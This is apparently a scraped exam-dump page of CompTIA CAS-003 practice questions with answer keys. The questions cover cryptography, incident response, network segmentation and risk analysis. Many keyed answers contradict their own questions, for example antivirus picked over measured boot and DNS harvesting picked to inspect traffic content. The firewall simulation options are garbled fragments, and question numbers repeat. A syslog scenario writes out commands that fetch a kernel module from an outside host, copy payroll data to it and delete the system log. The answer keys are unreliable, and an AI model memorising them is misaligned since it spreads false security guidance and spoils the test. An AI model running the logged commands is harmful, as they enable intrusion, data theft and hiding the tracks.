

Exam Questions CAS-003

CompTIA Advanced Security Practitioner (CASP)

<https://www.2passeasy.com/dumps/CAS-003/>



NEW QUESTION 1

A security engineer is attempting to increase the randomness of numbers used in key generation in a system. The goal of the effort is to strengthen the keys against predictive analysis attacks.

Which of the following is the BEST solution?

- A. Use an entropy-as-a-service vendor to leverage larger entropy pools.
- B. Loop multiple pseudo-random number generators in a series to produce larger numbers.
- C. Increase key length by two orders of magnitude to detect brute forcing.
- D. Shift key generation algorithms to ECC algorithm

Answer: A

NEW QUESTION 2

A security engineer has been hired to design a device that will enable the exfiltration of data from within a well-defended network perimeter during an authorized test. The device must bypass all firewalls and NIDS in place, as well as allow for the upload of commands from a centralized command and control answer. The total cost of the device must be kept to a minimum in case the device is discovered during an assessment. Which of the following tools should the engineer load onto the device being designed?

- A. Custom firmware with rotating key generation
- B. Automatic MITM proxy
- C. TCP beacon broadcast software
- D. Reverse shell endpoint listener

Answer: B

NEW QUESTION 3

A security consultant is improving the physical security of a sensitive site and takes pictures of the unbranded building to include in the report. Two weeks later, the security consultant misplaces the phone, which only has one hour of charge left on it. The person who finds the phone removes the MicroSD card in an attempt to discover the owner to return it.

The person extracts the following data from the phone and EXIF data from some files:

DCIM Images folder

Audio books folder Torrentz

My TAX.xls

Consultancy HR Manual.doc Camera: SM-G950F Exposure time: 1/60s

Location: 3500 Lacey Road USA

Which of the following BEST describes the security problem?

- A. MicroSD in not encrypted and also contains personal data.
- B. MicroSD contains a mixture of personal and work data.
- C. MicroSD in not encrypted and contains geotagging information.
- D. MicroSD contains pirated software and is not encrypte

Answer: A

NEW QUESTION 4

A project manager is working with a team that is tasked to develop software applications in a structured environment and host them in a vendor's cloud-based infrastructure. The organization will maintain responsibility for the software but will not manage the underlying server applications. Which of the following does the organization plan to leverage?

- A. SaaS
- B. PaaS
- C. IaaS
- D. Hybrid cloud
- E. Network virtualization

Answer: B

NEW QUESTION 5

A consulting firm was hired to conduct assessment for a company. During the first stage, a penetration tester used a tool that provided the following output:

TCP 80 open

TCP 443 open

TCP 1434 filtered

The penetration tester then used a different tool to make the following requests:

GET / script/login.php?token=45\$MHT000MND876

GET / script/login.php?token=@#984DCSPQ%091DF

Which of the following tools did the penetration tester use?

- A. Protocol analyzer
- B. Port scanner
- C. Fuzzer
- D. Brute forcer
- E. Log analyzer
- F. HTTP interceptor

Answer: C

NEW QUESTION 6

A company has adopted and established a continuous-monitoring capability, which has proven to be effective in vulnerability management, diagnostics, and mitigation. The company wants to increase the likelihood that it is able to discover and therefore respond to emerging threats earlier in the life cycle. Which of the following methodologies would BEST help the company to meet this objective? (Choose two.)

- A. Install and configure an IPS.
- B. Enforce routine GPO reviews.
- C. Form and deploy a hunt team.
- D. Institute heuristic anomaly detection.
- E. Use a protocol analyzer with appropriate connector

Answer: AD

NEW QUESTION 7

An organization has recently deployed an EDR solution across its laptops, desktops, and server infrastructure. The organization's server infrastructure is deployed in an IaaS environment. A database within the non-production environment has been misconfigured with a routable IP and is communicating with a command and control server.

Which of the following procedures should the security responder apply to the situation? (Choose two.)

- A. Contain the server.
- B. Initiate a legal hold.
- C. Perform a risk assessment.
- D. Determine the data handling standard.
- E. Disclose the breach to customers.
- F. Perform an IOC sweep to determine the impact

Answer: BF

NEW QUESTION 8

A penetration tester is conducting an assessment on Comptia.org and runs the following command from a coffee shop while connected to the public Internet:

```
C:\nslookup -querytype=MX comptia.org
Server: Unknown
Address: 198.51.100.45

comptia.org MX preference=10, mail exchanger = 92.68.102.33
comptia.org MX preference=20, mail exchanger = exchgl.comptia.org
exchgl.comptia.org      Internet address = 192.168.102.67
```

Which of the following should the penetration tester conclude about the command output?

- A. The public/private views on the Comptia.org DNS servers are misconfigured
- B. Comptia.org is running an older mail server, which may be vulnerable to exploits
- C. The DNS SPF records have not been updated for Comptia.org
- D. 192.168.102.67 is a backup mail server that may be more vulnerable to attack

Answer: B

NEW QUESTION 9

Two new technical SMB security settings have been enforced and have also become policies that increase secure communications.

Network Client: Digitally sign communication Network Server: Digitally sign communication

A storage administrator in a remote location with a legacy storage array, which contains timesensitive data, reports employees can no longer connect to their department shares. Which of the following mitigation strategies should an information security manager recommend to the data owner?

- A. Accept the risk, reverse the settings for the remote location, and have the remote location file a risk exception until the legacy storage device can be upgraded
- B. Accept the risk for the remote location, and reverse the settings indefinitely since the legacy storage device will not be upgraded
- C. Mitigate the risk for the remote location by suggesting a move to a cloud service provider
- D. Have the remote location request an indefinite risk exception for the use of cloud storage
- E. Avoid the risk, leave the settings alone, and decommission the legacy storage device

Answer: A

NEW QUESTION 10

During a security assessment, an organization is advised of inadequate control over network segmentation. The assessor explains that the organization's reliance on VLANs to segment traffic is insufficient to provide segmentation based on regulatory standards. Which of the following should the organization consider implementing along with VLANs to provide a greater level of segmentation?

- A. Air gaps
- B. Access control lists
- C. Spanning tree protocol
- D. Network virtualization
- E. Elastic load balancing

Answer: D

NEW QUESTION 10

A security administrator was informed that a server unexpectedly rebooted. The administrator received an export of syslog entries for analysis:

```
May 4 08:08:00 Server A: on console user jsmith: exec 'ls -l /data/finance/payroll/*.xls'
May 4 08:08:00 Server A: on console user jsmith: Access denied on /data/finance/
May 4 08:08:07 Server A: on console user jsmith: exec 'whoami'
May 4 08:08:10 Server A: on console user jsmith: exec 'wget 5.5.5.5/modinject.o -O /tmp/downloads/modinject.o'
May 4 08:08:20 Server A: on console user jsmith: exec 'insmod /tmp/downloads/modinject.o'
May 4 08:08:10 Server A: on console user root: exec 'whoami'
May 4 08:09:37 Server A: on console user root: exec 'ls -l /data/finance/payroll/*.xls'
May 4 08:09:43 Server A: on console user root: exec 'gpg -e /data/finance/payroll/gl-May2017.xls'
May 4 08:09:55 Server A: on console user root: exec 'scp /data/finance/payroll/gl-May2017.gpg root@5.5.5.5:'
May 4 08:10:03 Server A: on console user root: exec 'rm -rf /var/log/syslog'
May 4 08:10:05 Server A: on console user jsmith: exec 'rmmod modinject.o'
May 4 08:10:05 Server A: kernel: PANIC 'unable to handle paging request at 0x45A800c'
May 4 08:10:05 Server A: kernel: Automatic reboot initiated
May 4 08:10:06 Server A: kernel: Syncing disks
May 4 08:10:06 Server A: kernel: Reboot
May 4 08:12:25 Server A: kernel: System init
May 4 08:12:25 Server A: kernel: Configured from console by console
May 4 08:12:42 Server A: kernel: Logging initialized (build:5.8.0.2469)
May 4 08:13:34 Server A: kernel: System changed state to up
May 4 08:14:23 Server A: kernel: System startup succeeded
```

Which of the following does the log sample indicate? (Choose two.)

- A. A root user performed an injection attack via kernel module
- B. Encrypted payroll data was successfully decrypted by the attacker
- C. Jsmith successfully used a privilege escalation attack
- D. Payroll data was exfiltrated to an attacker-controlled host
- E. Buffer overflow in memory paging caused a kernel panic
- F. Syslog entries were lost due to the host being rebooted

Answer: CE

NEW QUESTION 14

An organization has employed the services of an auditing firm to perform a gap assessment in preparation for an upcoming audit. As part of the gap assessment, the auditor supporting the assessment recommends the organization engage with other industry partners to share information about emerging attacks to organizations in the industry in which the organization functions. Which of the following types of information could be drawn from such participation?

- A. Threat modeling
- B. Risk assessment
- C. Vulnerability data
- D. Threat intelligence
- E. Risk metrics
- F. Exploit frameworks

Answer: F

NEW QUESTION 18

A recent penetration test identified that a web server has a major vulnerability. The web server hosts a critical shipping application for the company and requires 99.99% availability. Attempts to fix the vulnerability would likely break the application. The shipping application is due to be replaced in the next three months. Which of the following would BEST secure the web server until the replacement web server is ready?

- A. Patch management
- B. Antivirus
- C. Application firewall
- D. Spam filters
- E. HIDS

Answer: E

NEW QUESTION 23

A security incident responder discovers an attacker has gained access to a network and has overwritten key system files with backdoor software. The server was reimaged and patched offline. Which of the following tools should be implemented to detect similar attacks?

- A. Vulnerability scanner
- B. TPM
- C. Host-based firewall
- D. File integrity monitor
- E. NIPS

Answer: CD

NEW QUESTION 24

An organization is in the process of integrating its operational technology and information technology areas. As part of the integration, some of the cultural aspects it would like to see include more efficient use of resources during change windows, better protection of critical infrastructure, and the ability to respond to incidents. The following observations have been identified:

The ICS supplier has specified that any software installed will result in lack of support.

There is no documented trust boundary defined between the SCADA and corporate networks.

Operational technology staff have to manage the SCADA equipment via the engineering workstation. There is a lack of understanding of what is within the SCADA network.

Which of the following capabilities would BEST improve the security position?

- A. VNC, router, and HIPS
- B. SIEM, VPN, and firewall
- C. Proxy, VPN, and WAF
- D. IDS, NAC, and log monitoring

Answer: A

NEW QUESTION 28

An engineer is assisting with the design of a new virtualized environment that will house critical company services and reduce the datacenter's physical footprint.

The company has expressed concern about the integrity of operating systems and wants to ensure a vulnerability exploited in one datacenter segment would not lead to the compromise of all others. Which of the following design objectives should the engineer complete to BEST mitigate the company's concerns? (Choose two.)

- A. Deploy virtual desktop infrastructure with an OOB management network
- B. Employ the use of vTPM with boot attestation
- C. Leverage separate physical hardware for sensitive services and data
- D. Use a community CSP with independently managed security services
- E. Deploy to a private cloud with hosted hypervisors on each physical machine

Answer: AC

NEW QUESTION 29

Following a security assessment, the Chief Information Security Officer (CISO) is reviewing the results of the assessment and evaluating potential risk treatment strategies. As part of the CISO's

evaluation, a judgment of potential impact based on the identified risk is performed. To prioritize response actions, the CISO uses past experience to take into account the exposure factor as well as the external accessibility of the weakness identified. Which of the following is the CISO performing?

- A. Documentation of lessons learned
- B. Quantitative risk assessment
- C. Qualitative assessment of risk
- D. Business impact scoring
- E. Threat modeling

Answer: B

NEW QUESTION 34

A Chief Information Security Officer (CISO) is reviewing the results of a gap analysis with an outside cybersecurity consultant. The gap analysis reviewed all procedural and technical controls and found the following:

High-impact controls implemented: 6 out of 10 Medium-impact controls implemented: 409 out of 472 Low-impact controls implemented: 97 out of 1000

The report includes a cost-benefit analysis for each control gap. The analysis yielded the following information:

Average high-impact control implementation cost: \$15,000; Probable ALE for each high-impact control gap: \$95,000

Average medium-impact control implementation cost: \$6,250; Probable ALE for each medium-impact control gap: \$11,000

Due to the technical construction and configuration of the corporate enterprise, slightly more than 50% of the medium-impact controls will take two years to fully implement. Which of the following conclusions could the CISO draw from the analysis?

- A. Too much emphasis has been placed on eliminating low-risk vulnerabilities in the past
- B. The enterprise security team has focused exclusively on mitigating high-level risks
- C. Because of the significant ALE for each high-risk vulnerability, efforts should be focused on those controls
- D. The cybersecurity team has balanced residual risk for both high and medium controls

Answer: C

NEW QUESTION 35

After investigating virus outbreaks that have cost the company \$1,000 per incident, the company's Chief Information Security Officer (CISO) has been researching new antivirus software solutions to use and be fully supported for the next two years. The CISO has narrowed down the potential solutions to four candidates that meet all the company's performance and capability requirements:

	Solution Cost	Year 1 Support	Year 2 Support	Estimated Yearly Incidents
Product A	\$10,000	\$3,000	\$1,000	1
Product B	\$14,250	\$1,000	\$1,000	0
Product C	\$9,500	\$2,000	\$2,000	1
Product D	\$7,000	\$1,000	\$2,000	2
Product E	\$7,000	\$4,000	\$4,000	0

Using the table above, which of the following would be the BEST business-driven choice among five possible solutions?

- A. Product A
- B. Product B
- C. Product C
- D. Product D
- E. Product E

Answer: E

NEW QUESTION 36

A financial consulting firm recently recovered from some damaging incidents that were associated with malware installed via rootkit. Post-incident analysis is ongoing, and the incident responders and systems administrators are working to determine a strategy to reduce the risk of recurrence. The firm's systems are running modern operating systems and feature UEFI and TPMs. Which of the following technical options would provide the MOST preventive value?

- A. Update and deploy GPOs
- B. Configure and use measured boot
- C. Strengthen the password complexity requirements
- D. Update the antivirus software and definitions

Answer: D

NEW QUESTION 38

The board of a financial services company has requested that the senior security analyst acts as a cybersecurity advisor in order to comply with recent federal legislation. The analyst is required to give a report on current cybersecurity and threat trends in the financial services industry at the next board meeting. Which of the following would be the BEST methods to prepare this report? (Choose two.)

- A. Review the CVE database for critical exploits over the past year
- B. Use social media to contact industry analysts
- C. Use intelligence gathered from the Internet relay chat channels
- D. Request information from security vendors and government agencies
- E. Perform a penetration test of the competitor's network and share the results with the board

Answer: AD

NEW QUESTION 42

A software development team is conducting functional and user acceptance testing of internally developed web applications using a COTS solution. For automated testing, the solution uses valid user credentials from the enterprise directory to authenticate to each application. The solution stores the username in plain text and the corresponding password as an encoded string in a script within a file, located on a globally accessible network share. The account credentials used belong to the development team lead. To reduce the risks associated with this scenario while minimizing disruption to ongoing testing, which of the following are the BEST actions to take? (Choose two.)

- A. Restrict access to the network share by adding a group only for developers to the share's ACL
- B. Implement a new COTS solution that does not use hard-coded credentials and integrates with directory services
- C. Obfuscate the username within the script file with encoding to prevent easy identification and the account used
- D. Provision a new user account within the enterprise directory and enable its use for authentication to the target application
- E. Share the username and password with all developers for use in their individual scripts
- F. Redesign the web applications to accept single-use, local account credentials for authentication

Answer: AB

NEW QUESTION 47

A security consultant is attempting to discover if the company is utilizing databases on client machines to store the customer data. The consultant reviews the following information:

Protocol	Local Address	Foreign Address	Status
TCP	127.0.0.1	172.16.10.101:25	Connection established
TCP	127.0.0.1	172.16.20.45:443	Connection established
UDP	127.0.0.1	172.16.20.80:53	Waiting listening
TCP	172.16.10.10:1433	172.16.10.34	Connection established

Which of the following commands would have provided this output?

- A. arp -s
- B. netstat -a
- C. ifconfig -arp
- D. sqlmap -w

Answer: B

NEW QUESTION 51

A newly hired systems administrator is trying to connect a new and fully updated, but very customized, Android device to access corporate resources. However, the MDM enrollment process continually fails. The administrator asks a security team member to look into the issue. Which of the following is the MOST likely reason the MDM is not allowing enrollment?

- A. The OS version is not compatible
- B. The OEM is prohibited
- C. The device does not support FDE
- D. The device is rooted

Answer: D

NEW QUESTION 55

A hospital uses a legacy electronic medical record system that requires multicast for traffic between the application servers and databases on virtual hosts that support segments of the application. Following a switch upgrade, the electronic medical record is unavailable despite physical connectivity between the hypervisor and the storage being in place. The network team must enable multicast traffic to restore access to the electronic medical record. The ISM states that the network team must reduce the footprint of multicast traffic on the network.

VLAN	Description
201	Server VLAN1
202	Server VLAN2
400	Hypervisor Management VLAN
680	Storage Management VLAN
700	Database Server VLAN

Using the above information, on which VLANs should multicast be enabled?

- A. VLAN201, VLAN202, VLAN400
- B. VLAN201, VLAN202, VLAN700
- C. VLAN201, VLAN202, VLAN400, VLAN680, VLAN700
- D. VLAN400, VLAN680, VLAN700

Answer: D

NEW QUESTION 59

An agency has implemented a data retention policy that requires tagging data according to type before storing it in the data repository. The policy requires all business emails be automatically deleted after two years. During an open records investigation, information was found on an employee's work computer concerning a conversation that occurred three years prior and proved damaging to the agency's reputation. Which of the following MOST likely caused the data leak?

- A. The employee manually changed the email client retention settings to prevent deletion of emails
- B. The file that contained the damaging information was mistagged and retained on the server for longer than it should have been
- C. The email was encrypted and an exception was put in place via the data classification application
- D. The employee saved a file on the computer's hard drive that contained archives of emails, which were more than two years old

Answer: D

NEW QUESTION 61

A forensics analyst suspects that a breach has occurred. Security logs show the company's OS patch system may be compromised, and it is serving patches that contain a zero-day exploit and backdoor. The analyst extracts an executable file from a packet capture of communication between a client computer and the patch server. Which of the following should the analyst use to confirm this suspicion?

- A. File size
- B. Digital signature
- C. Checksums
- D. Anti-malware software
- E. Sandboxing

Answer: B

NEW QUESTION 66

Which of the following BEST represents a risk associated with merging two enterprises during an acquisition?

- A. The consolidation of two different IT enterprises increases the likelihood of the data loss because there are now two backup systems
- B. Integrating two different IT systems might result in a successful data breach if threat intelligence is not shared between the two enterprises

- C. Merging two enterprise networks could result in an expanded attack surface and could cause outages if trust and permission issues are not handled carefully
D. Expanding the set of data owners requires an in-depth review of all data classification decisions, impacting availability during the review

Answer: C

NEW QUESTION 69

A software development team has spent the last 18 months developing a new web-based front-end that will allow clients to check the status of their orders as they proceed through manufacturing. The marketing team schedules a launch party to present the new application to the client base in two weeks. Before the launch, the security team discovers numerous flaws that may introduce dangerous vulnerabilities, allowing direct access to a database used by manufacturing. The development team did not plan to remediate these vulnerabilities during development. Which of the following SDLC best practices should the development team have followed?

- A. Implementing regression testing
B. Completing user acceptance testing
C. Verifying system design documentation
D. Using a SRTM

Answer: D

NEW QUESTION 71

Exhibit:

SRC Zone	SRC	SRC Port	DST Zone	DST	DST Port	Protocol	Action	Rule Order
UNTRUST	10.1.10.250	ANY	MGMT	ANY	ANY	ANY	PERMIT	↓
WEBAPP	10.1.5.50	ANY	DB	10.1.4.70	1433	UDP	DENY	↑ ↓
UNTRUST	ANY	ANY	ANY	ANY	ANY	TCP	PERMIT	↑ ↓
USER	10.1.1.0/24, 10.1.2.0/24	ANY	UNTRUST	ANY	80	TCP	PERMIT	↑ ↓
UNTRUST	ANY	ANY	WEBAPP	10.1.5.50	80	TCP	PERMIT	↑ ↓
DB	10.1.4.70	ANY	WEBAPP	10.1.5.50	ANY	ANY	DENY	↑

Compliance with company policy requires a quarterly review of firewall rules. You are asked to conduct a review on the internal firewall sitting between several internal networks. The intent of this firewall is to make traffic more secure. Given the following information perform the tasks listed below:

Untrusted zone: 0.0.0.0/0 User zone: USR 10.1.1.0/24 User zone: USR2 10.1.2.0/24 DB zone: 10.1.0/24

Web application zone: 10.1.5.0/24 Management zone: 10.1.10.0/24 Web server: 10.1.5.50

MS-SQL server: 10.1.4.70

MGMT platform: 10.1.10.250

Task 1) A rule was added to prevent the management platform from accessing the internet. This rule is not working. Identify the rule and correct this issue.

Task 2) The firewall must be configured so that the SQL server can only receive requests from the web server.

Task 3) The web server must be able to receive unencrypted requests from hosts inside and outside the corporate network.

Task 4) Ensure the final rule is an explicit deny.

Task 5) Currently the user zone can access internet websites over an unencrypted protocol. Modify a rule so that user access to websites is over secure protocols only.

Instructions: To perform the necessary tasks, please modify the DST port, SRC zone, Protocol, Action, and/or Rule Order columns. Type ANY to include all ports. Firewall ACLs are read from the top down.

Once you have met the simulation requirements, click Save. When you have completed the simulation, please select the Done button to submit. Once the simulation is submitted, please select the Next button to continue.

A. Task 1: A rule was added to prevent the management platform from accessing the interne

B. This rule is not workin

C. Identify the rule and correct this issue.In Rule n

D. 1 edit the Action to Deny to block internet access from the management platform.SRC Zone SRC SRC Port DST Zone DST DST Port Protocol Action UNTRUST 10.1.10.250 ANY MGMT ANY ANY ANY ANY DENYTask 2: The firewall must be configured so that the SQL server can only receive requests from the web server.In Rule n

E. 6 from top, edit the Action to be Permi

F. SRC Zone SRC SRC Port DST Zone DST DST Port Protocol Action DB 10.1.4.70 ANY WEBAPP 10.1.5.50 ANY ANY PERMITTask 3: The web server must be able to receive unencrypted requests from hosts inside and outside the corporate network.In rule n

G. 5 from top, change the DST port to Any from 80 to allow all unencrypted traffi

H. SRC Zone SRC SRC Port DST Zone DST DST Port Protocol Action UNTRUST ANY ANY WEBAPP 10.1.5.50 ANY TCP PERMITTask 4: Ensure the final rule is an explicit denyEnter this at the bottom of the access list i.

I. the line at the bottom of the rule: SRC Zone SRC SRC Port DST Zone DST DST Port Protocol Action ANY ANY ANY ANY ANY ANY ANY TCP DENYTask 5: Currently the user zone can access internet websites over an unencrypted protoco

J. Modify a rule so that user access to websites is over secure protocols only.In Rule number 4 from top, edit the DST port to 443 from 80 SRC Zone SRC SRC Port DST Zone DST DST Port Protocol Action USER 10.1.1.0/24 10.1.2.0/24 ANY UNTRUST ANY 443 TCP PERMIT

K. Task 1: A rule was added to prevent the management platform from accessing the interne

L. This rule is not workin

M. Identify the rule and correct this issue.In Rule n

N. 1 edit the Action to Deny to block internet access from the management platfor

O. SRC Zone SRC SRC Port DST Zone DST DST Port Protocol Action UNTRUST 10.1.10.250 ANY MGMT ANY ANY ANY ANY DENYTask 2: The firewall must be

configured so that the SQL server can only receive requests from the web server. In Rule n

P. 6 from top, edit the Action to be Permi

Q. SRC ZoneSRC SRC Port DST Zone DST DST Port Protocol Action DB 10.1.4.70 ANY WEBAPP 10.1.5.50 ANY ANY PERMIT Task 3: The web server must be able to receive unencrypted requests from hosts inside and outside the corporate network. In rule n

R. 5 from top, change the DST port to Any from 80 to allow all unencrypted traffi

S. SRC ZoneANY ANY ANY TCP DENY Task 5: Currently the user zone can access internet websites over an unencrypted protoco

T. Modify a rule so that user access to websites is over secure protocols only. In Rule number 4 from top, edit the DST port to 443 from 80 SRC ZoneSRC SRC Port DST Zone DST DST Port Protocol Action USER 10.1.1.0/24 10.1.2.0/24 ANY UNTRUST ANY 443 TCP PERMIT

Answer: A

NEW QUESTION 73

A threat advisory alert was just emailed to the IT security staff. The alert references specific types of host operating systems that can allow an unauthorized person to access files on a system remotely. A fix was recently published, but it requires a recent endpoint protection engine to be installed prior to running the fix.

Which of the following MOST likely need to be configured to ensure the system are mitigated accordingly? (Select two.)

- A. Antivirus
- B. HIPS
- C. Application whitelisting
- D. Patch management
- E. Group policy implementation
- F. Firmware updates

Answer: DF

NEW QUESTION 76

An information security officer is responsible for one secure network and one office network. Recent intelligence suggests there is an opportunity for attackers to gain access to the secure network due to similar login credentials across networks. To determine the users who should change their information, the information security officer uses a tool to scan a file with hashed values on both networks and receives the following data:

Corporate Network		Secure Network	
james.bond	asHU8\$1bg	jbond	asHU8\$1bg
tom.jones	wit4njyt%l	tom.jones	wit4njyt%l
dade.murphy	mUrpHTIME7	d.murph3	t%w3BT9)n
herbie.hancock	hh2016!#	hhanco	hh2016!#2
suzy.smith	lLi*#HFadf	ssmith	lLi*#HFadf

Which of the following tools was used to gather this information from the hashed values in the file?

- A. Vulnerability scanner
- B. Fuzzer
- C. MD5 generator
- D. Password cracker
- E. Protocol analyzer

Answer: C

NEW QUESTION 79

A systems administrator recently joined an organization and has been asked to perform a security assessment of controls on the organization's file servers, which contain client data from a number of sensitive systems. The administrator needs to compare documented access requirements to the access implemented within the file system.

Which of the following is MOST likely to be reviewed during the assessment? (Select two.)

- A. Access control list
- B. Security requirements traceability matrix
- C. Data owner matrix
- D. Roles matrix
- E. Data design document
- F. Data access policies

Answer: DF

NEW QUESTION 83

Ann, a member of the finance department at a large corporation, has submitted a suspicious email she received to the information security team. The team was not expecting an email from Ann, and it contains a PDF file inside a ZIP compressed archive. The information security team is not sure which files were opened. A security team member uses an air-gapped PC to open the ZIP and PDF, and it appears to be a social engineering attempt to deliver an exploit.

Which of the following would provide greater insight on the potential impact of this attempted attack?

- A. Run an antivirus scan on the finance PC.
- B. Use a protocol analyzer on the air-gapped PC.
- C. Perform reverse engineering on the document.
- D. Analyze network logs for unusual traffic.

E. Run a baseline analyzer against the user's compute

Answer: B

NEW QUESTION 88

The Chief Information Officer (CIO) wants to increase security and accessibility among the organization's cloud SaaS applications. The applications are configured to use passwords, and twofactor authentication is not provided natively. Which of the following would BEST address the CIO's concerns?

- A. Procure a password manager for the employees to use with the cloud applications.
- B. Create a VPN tunnel between the on-premises environment and the cloud providers.
- C. Deploy applications internally and migrate away from SaaS applications.
- D. Implement an IdP that supports SAML and time-based, one-time password

Answer: B

NEW QUESTION 91

Which of the following is the GREATEST security concern with respect to BYOD?

- A. The filtering of sensitive data out of data flows at geographic boundaries.
- B. Removing potential bottlenecks in data transmission paths.
- C. The transfer of corporate data onto mobile corporate devices.
- D. The migration of data into and out of the network in an uncontrolled manne

Answer: D

NEW QUESTION 94

The marketing department has developed a new marketing campaign involving significant social media outreach. The campaign includes allowing employees and customers to submit blog posts and pictures of their day-to-day experiences at the company. The information security manager has been asked to provide an informative letter to all participants regarding the security risks and how to avoid privacy and operational security issues. Which of the following is the MOST important information to reference in the letter?

- A. After-action reports from prior incidents.
- B. Social engineering techniques
- C. Company policies and employee NDAs
- D. Data classification processes

Answer: C

NEW QUESTION 97

A database administrator is required to adhere to and implement privacy principles when executing daily tasks. A manager directs the administrator to reduce the number of unique instances of PII stored within an organization's systems to the greatest extent possible. Which of the following principles is being demonstrated?

- A. Administrator accountability
- B. PII security
- C. Record transparency
- D. Data minimization

Answer: D

NEW QUESTION 98

A systems administrator has installed a disk wiping utility on all computers across the organization and configured it to perform a seven-pass wipe and an additional pass to overwrite the disk with zeros. The company has also instituted a policy that requires users to erase files containing sensitive information when they are no longer needed.

To ensure the process provides the intended results, an auditor reviews the following content from a randomly selected decommissioned hard disk:

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

0000000000000000000000000000qjkeh d

Which of the following should be included in the auditor's report based in the above findings?

- A. The hard disk contains bad sectors
- B. The disk has been degaussed.
- C. The data represents part of the disk BIOS.
- D. Sensitive data might still be present on the hard drive

Answer: A

NEW QUESTION 99

An organization is engaged in international business operations and is required to comply with various legal frameworks. In addition to changes in legal frameworks, which of the following is a primary purpose of a compliance management program?

- A. Following new requirements that result from contractual obligations

- B. Answering requests from auditors that relate to e-discovery
- C. Responding to changes in regulatory requirements
- D. Developing organizational policies that relate to hiring and termination procedures

Answer: C

NEW QUESTION 102

A medical device company is implementing a new COTS antivirus solution in its manufacturing plant.

All validated machines and instruments must be retested for interoperability with the new software. Which of the following would BEST ensure the software and instruments are working as designed?

- A. System design documentation
- B. User acceptance testing
- C. Peer review
- D. Static code analysis testing
- E. Change control documentation

Answer: A

NEW QUESTION 106

A managed service provider is designing a log aggregation service for customers who no longer want to manage an internal SIEM infrastructure. The provider expects that customers will send all types of logs to them, and that log files could contain very sensitive entries. Customers have indicated they want on-premises and cloud-based infrastructure logs to be stored in this new service. An engineer, who is designing the new service, is deciding how to segment customers. Which of the following is the BEST statement for the engineer to take into consideration?

- A. Single-tenancy is often more expensive and has less efficient resource utilization
- B. Multi-tenancy may increase the risk of cross-customer exposure in the event of service vulnerabilities.
- C. The managed service provider should outsource security of the platform to an existing cloud company
- D. This will allow the new log service to be launched faster and with well-tested security controls.
- E. Due to the likelihood of large log volumes, the service provider should use a multi-tenancy model for the data storage tier, enable data deduplication for storage cost efficiencies, and encrypt data at rest.
- F. The most secure design approach would be to give customers on-premises appliances, install agents on endpoints, and then remotely manage the service via a VPN.

Answer: A

NEW QUESTION 107

As a result of an acquisition, a new development team is being integrated into the company. The development team has BYOD laptops with IDEs installed, build servers, and code repositories that utilize SaaS. To have the team up and running effectively, a separate Internet connection has been procured. A stand up has identified the following additional requirements:

1. Reuse of the existing network infrastructure
2. Acceptable use policies to be enforced
3. Protection of sensitive files
4. Access to the corporate applications

Which of the following solution components should be deployed to BEST meet the requirements? (Select three.)

- A. IPSec VPN
- B. HIDS
- C. Wireless controller
- D. Rights management
- E. SSL VPN
- F. NAC
- G. WAF
- H. Load balancer

Answer: DEF

NEW QUESTION 108

The government is concerned with remote military missions being negatively impacted by the use of technology that may fail to protect operational security. To remediate this concern, a number of solutions have been implemented, including the following:

End-to-end encryption of all inbound and outbound communication, including personal email and chat sessions that allow soldiers to securely communicate with families.

Layer 7 inspection and TCP/UDP port restriction, including firewall rules to only allow TCP port 80 and 443 and approved applications

A host-based whitelist of approved websites and applications that only allow mission-related tools and sites

The use of satellite communication to include multiple proxy servers to scramble the source IP address

Which of the following is of MOST concern in this scenario?

- A. Malicious actors intercepting inbound and outbound communication to determine the scope of the mission
- B. Family members posting geotagged images on social media that were received via email from soldiers
- C. The effect of communication latency that may negatively impact real-time communication with mission control
- D. The use of centrally managed military network and computers by soldiers when communicating with external parties

Answer: A

NEW QUESTION 110

Given the following code snippet:

```
<FORM ACTION="http://192.168.51.10/cgi-bin/order.pl" method="post">

<input type=hidden name="price" value="199.99">

<input type=hidden name="prd_id" value="X190">

QUANTITY: <input type=text name="quant" size=3 maxlength=3 value=1>

</FORM>
```

Of which of the following is this snippet an example?

- A. Data execution prevention
- B. Buffer overflow
- C. Failure to use standard libraries
- D. Improper file usage
- E. Input validation

Answer: D

NEW QUESTION 113

A forensic analyst suspects that a buffer overflow exists in a kernel module. The analyst executes the following command:

```
dd if=/dev/ram of=/tmp/mem/dmp
```

The analyst then reviews the associated output:

```
^34^#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/bash^21^03#45
```

However, the analyst is unable to find any evidence of the running shell. Which of the following of the MOST likely reason the analyst cannot find a process ID for the shell?

- A. The NX bit is enabled
- B. The system uses ASLR
- C. The shell is obfuscated
- D. The code uses dynamic libraries

Answer: B

NEW QUESTION 115

A security analyst is reviewing logs and discovers that a company-owned computer issued to an employee is generating many alerts and analyst continues to review the log events and discovers that a non-company-owned device from a different, unknown IP address is generating the same events. The analyst informs the manager of these findings, and the manager explains that these activities are already known and . . . ongoing simulation. Given this scenario, which of the following roles are the analyst, the employee, and the manager fillings?

- A. The analyst is red team The employee is blue team The manager is white team
- B. The analyst is white team The employee is red team The manager is blue team
- C. The analyst is red team The employee is white team The manager is blue team
- D. The analyst is blue team The employee is red team The manager is white team

Answer: D

NEW QUESTION 117

A malware infection spread to numerous workstations within the marketing department. The workstations were quarantined and replaced with machines. Which of the following represents a FINAL step in the prediction of the malware?

- A. The workstations should be isolated from the network.
- B. The workstations should be donated for reuse.
- C. The workstations should be reimaged
- D. The workstations should be patched and scanned

Answer: C

NEW QUESTION 122

An analyst has noticed unusual activities in the SIEM to a .cn domain name. Which of the following should the analyst use to identify the content of the traffic?

- A. Log review
- B. Service discovery
- C. Packet capture
- D. DNS harvesting

Answer: D

NEW QUESTION 126

After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the price of listed items, a programmer analyzes the following piece of code used by a web-based shopping cart.

```
SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT);
```

The programmer found that every time a user adds an item to the cart, a temporary file is created on the web server /tmp directory. The temporary file has a name which is generated by concatenating the content of the \$USERINPUT variable and a timestamp in the form of MM-DD-YYYY, (e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased. Which of the following is MOST likely being exploited to manipulate the price of a shopping cart's items?

- A. Input validation
- B. SQL injection
- C. TOCTOU
- D. Session hijacking

Answer: C

Explanation:

In this question, TOCTOU is being exploited to allow the user to modify the temp file that contains the price of the item.

In software development, time of check to time of use (TOCTOU) is a class of software bug caused by changes in a system between the checking of a condition (such as a security credential) and the use of the results of that check. This is one example of a race condition.

